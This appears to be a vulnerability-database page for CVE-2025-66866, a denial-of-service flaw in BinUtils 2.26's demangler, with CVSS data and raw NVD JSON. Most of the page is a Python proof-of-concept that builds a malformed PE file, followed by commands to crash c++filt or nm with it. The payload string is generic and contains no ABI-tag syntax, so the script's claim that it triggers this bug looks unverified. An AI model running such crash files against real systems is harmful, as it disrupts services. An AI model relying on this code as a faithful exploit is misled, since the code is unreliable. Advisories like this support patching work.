Security Vulnerability Report
中文
CVE-2025-66866 CVSS 7.5 HIGH

CVE-2025-66866

Published: 2025-12-29 17:15:47
Last Modified: 2026-01-14 19:43:08

Description

An issue was discovered in function d_abi_tags in file cp-demangle.c in BinUtils 2.26 allows attackers to cause a denial of service via crafted PE file.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gnu:binutils:2.26:*:*:*:*:*:*:* - VULNERABLE
BinUtils 2.26

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66866 PoC - BinUtils d_abi_tags DoS This PoC generates a malformed PE file that triggers the d_abi_tags vulnerability in BinUtils 2.26 when processed by c++filt or related tools. """ import struct import sys def create_malformed_pe(): """Generate a PE file with malformed ABI tags to trigger DoS""" # DOS Header dos_header = bytearray(64) dos_header[0:2] = b'MZ' struct.pack_into('<I', dos_header, 60, 64) # PE header offset # PE Signature pe_sig = b'PE\x00\x00' # COFF Header coff_header = struct.pack('<HHIIIHH', 0x014c, # Machine (i386) 1, # NumberOfSections 0, # TimeDateStamp 0, # PointerToSymbolTable 0, # NumberOfSymbols 224, # SizeOfOptionalHeader 0x0102 # Characteristics ) # Optional Header optional_header = struct.pack('<HHBBIIHHHHHHIIHHHHHHIIIIIIHH', 0x010B, # Magic 14, # MajorLinkerVersion 0, # MinorLinkerVersion 0, # SizeOfCode 0, # SizeOfInitializedData 0, # SizeOfUninitializedData 0, # AddressOfEntryPoint 0, # BaseOfCode 0, # BaseOfData 0, # ImageBase 0x1000, # SectionAlignment 0x200, # FileAlignment 6, # MajorOperatingSystemVersion 0, # MinorOperatingSystemVersion 0, # MajorImageVersion 0, # MinorImageVersion 6, # MajorSubsystemVersion 0, # MinorSubsystemVersion 0, # Win32VersionValue 0x3000, # SizeOfImage 0x200, # SizeOfHeaders 0, # CheckSum 3, # Subsystem (GUI) 0, # DllCharacteristics 0x100000,# SizeOfStackReserve 0x1000, # SizeOfStackCommit 0x100000,# SizeOfHeapReserve 0x1000, # SizeOfHeapCommit 0, # LoaderFlags 16 # NumberOfRvaAndSizes ) # Malformed ABI tag string that triggers d_abi_tags vulnerability # This creates an overly long or malformed ABI tag sequence malformed_abi_tag = b'_Z' + b'A' * 1000 + b'_' + b'\xFF' * 100 # Section Header (.text) section_name = b'.text\x00\x00\x00' section_header = section_name + struct.pack('<IIIIIHHII', len(malformed_abi_tag), # VirtualSize 0x1000, # VirtualAddress len(malformed_abi_tag), # SizeOfRawData 0x200, # PointerToRawData 0, # PointerToRelocations 0, # PointerToLinenumbers 0, # NumberOfRelocations 0, # NumberOfLinenumbers 0x60000020 # Characteristics ) # Combine all parts pe_file = dos_header + pe_sig + coff_header + optional_header + section_header pe_file += b'\x00' * (0x200 - len(pe_file)) # Pad to FileAlignment pe_file += malformed_abi_tag return pe_file def main(): output_file = 'CVE-2025-66866_poc.exe' pe_data = create_malformed_pe() with open(output_file, 'wb') as f: f.write(pe_data) print(f'[+] PoC PE file created: {output_file}') print(f'[+] File size: {len(pe_data)} bytes') print('[*] To trigger the vulnerability, process this file with BinUtils tools:') print(' $ c++filt < CVE-2025-66866_poc.exe') print(' or') print(' $ nm CVE-2025-66866_poc.exe') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66866", "sourceIdentifier": "[email protected]", "published": "2025-12-29T17:15:46.500", "lastModified": "2026-01-14T19:43:08.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in function d_abi_tags in file cp-demangle.c in BinUtils 2.26 allows attackers to cause a denial of service via crafted PE file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:binutils:2.26:*:*:*:*:*:*:*", "matchCriteriaId": "7A0BCBA2-7605-4976-8364-E6D1484D0CA9"}]}]}], "references": [{"url": "https://github.com/caozhzh/CRGF-Vul/blob/main/cxxfilt/crash6.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/caozhzh/CRGF-Vul/blob/main/cxxfilt/crash6.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}